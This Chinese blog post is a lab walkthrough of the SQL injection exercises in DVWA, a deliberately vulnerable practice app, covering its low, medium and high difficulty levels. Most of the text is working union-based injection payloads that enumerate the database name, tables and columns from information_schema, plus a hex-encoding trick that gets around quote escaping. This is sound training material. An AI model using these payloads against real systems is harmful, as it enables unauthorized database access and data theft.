DVWA--sql注入

sql注入

low

  • 判断是否存在sql注入

    1'or '1'='1

     

  • 使用联合查询 获取当前数据库名

    1' union select 1,database()#  

  • 获取数据库的表名

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

     

  • 获取表中的字段名

    1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

medium

  • 判断是否存在注入burp抓包

  • 修改传递的参数,放包发现存在注入

  • 获取数据库名

    union select 1,database()#  

  • 获取当前表名

    union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

  • 获取当前字段名

    由于单引号被转义可以利用16进制进制绕过

    union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

     

high

  • 查看源代码可以看出只加了 limit 1 来限制输出,但是可以直接注释掉,绕过方法和low相同

posted @ 2021-01-18 16:55  beitso-admin  阅读(79)  评论(0编辑  收藏  举报